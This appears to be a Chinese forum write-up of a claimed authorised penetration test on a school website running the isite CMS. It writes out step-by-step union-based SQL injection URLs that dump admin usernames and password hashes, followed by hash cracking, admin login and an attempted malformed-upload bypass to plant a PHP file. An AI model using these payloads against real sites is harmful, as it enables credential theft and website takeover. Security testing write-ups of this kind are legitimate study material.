意外发现一套cms的注入漏洞
- 2019 年 11 月 20 日
- 筆記
(说明:此次检测为官方授权检测!!!表情包与文章无关)

正文如下:
事情是这样的某一天在一个安全交流群里聊天,一个朋友说他们老师叫他去检测下他们学校官网,后来朋友他找到了我让我帮助他进行安全检测。

我这么菜,但是还是去看看吧。
首先我们打开主站

访问robots.txt文件,是存在的,可以看出是isite的 cms(在此之前听都没听过….)。

去百度了下看下有啥公开的漏洞吧

不得不说用的人真的少,这些漏洞都试了下都没用。
还是看看后台吧,后面加个 艾德密,得到后台通过各种弱口令,都没结果。

既然这样,从旁站下手好了,查了下,有这么多。

我一个个找过去,结果全是这套程序,很无奈啊。

没办法我硬着头皮看了看主站,随便点了个连接,貌似伪静态啊。试了半天还是放弃了。
继续翻其他站,在一个站的首页发现这个。

尝试下 post 注入,加个单引号。

刚准备放弃….过了几秒钟 自动跳转到到了另一个页面。

继续在搜索框那输入了些查询内容点击检索


Search 后面多了个 24,于是我加一个单引号………居然报错了(头一次人品爆发)。

检测语句:and 1=1 和 and 1=2
返回结果


确定已经存在注入,这次就用手工注入吧。
先 order by 猜下字段长度
http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2010
返回正常
http://www.xxx.com/index.php/iss/search/search/24%20order%20by%2011
返回错误
http://www.xxx.com/index.php/iss/search/search/24%20union%20select%201,2,3,4,5,6,7,8,9,10
结果如下

没有显错位,加个 and 1=2 试试

显错位替换成 database()和 version(),版本是 5.0 以上,有个默认数据库 information

User(),不是 root 权限

接下来查表名
http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10%20from%20information_schema.tables%20where%2 0table_schema=0x6462xxxxxxxxxxx70696E6B5F636F6D
(这是数据库的 hex 码,xxx 代表马赛克……)

出来很多啊,用审查元素全部复制下来
flexi_announcement,flexi_bbcode,flexi_channel,flexi_channel_config,flexi_config,flexi_content,flexi_content_subject,flexi_feedback,flexi_file,flexi_file_watermark,flei_inquiry,flexi_link,flexi_link_category,flexi_log,flexi_message,flexi_page,flexi_ search_cache,flexi_tag,flexi_tag_related,flexi_tpl_block,flexi_user,flexi_user_admi n,flexi_u
起初以为是 flexi_user_admin这个表,后来发现帐号密码存在 flexi_user这个表中
接下来查他字段http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,group_concat(column_name),3,4,5,6,7,8,9,10%20from%20information_schema.columns%20where%20table_name=0x666C6578695F75736572

id,name,password,hit_question,hit_answer,email,real_name,gender,birthday,province,address,post_code,phone_code,mphone_code,group_id,reg_time,last_login_time,last_login_ip,login_count,post_count,manager,locked,new_msg_count,memo
经验判断存放帐号密码的字段是 name和password
http://www.xxx.com/index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,password,9,10%20from%20flexi_user
就这样,帐号密码已经出来了 利用构造出来的 exp:
index.php/iss/search/search/24%20and%201=2%20union%20select%201,name,3,4,5,6,7,password,9,10%20from%20flexi_user

去主站访问下

哈哈!!帐号PASS到手,但是我数了一下是40位…….
然后去百度看了看

说是 md5的然后我仔细看了看文章…..
好像并没有用,然后我去官网下载了套源码 查看代码发现是 sha1 加密。

拿起密码就去某MD5解密,悲剧来了………

试了试另外一个,也是一样的结果…..

然后看了看其他网站(SOMD5),可能真的人品爆发,有个站解密成功了然后登录之。

大概看了看网站后台,在这添加上 php

找到个上传文件的地方,感觉 鞋奥 就在眼前
点击上传发现…………我真是个命苦的人啊

只能拿出我苦练多年的打狗头方法…….拿起 burp 抓包

在这里构造畸形的 http,然后放包,成功上传。(自带滑稽表情)

点击放大镜


源码暴露了,而且路径也不对劲…….
看来这并不是他真实路径,我们又翻了翻,发现了这个,点击检索


看到刚才上传的文件,点击源文件路径变成了,多了个下划线……. http://www.xxx.com/data/upload/2017-04/08215611_edit._php
这个问题卡了我两天,各种姿势都试了,还是没办法绕过,所以放弃了。
Ps:这个提供这套 cms 的站点也存在该漏漏

作者:IT同路人 (文章转载请注明来自:IT同路人论坛)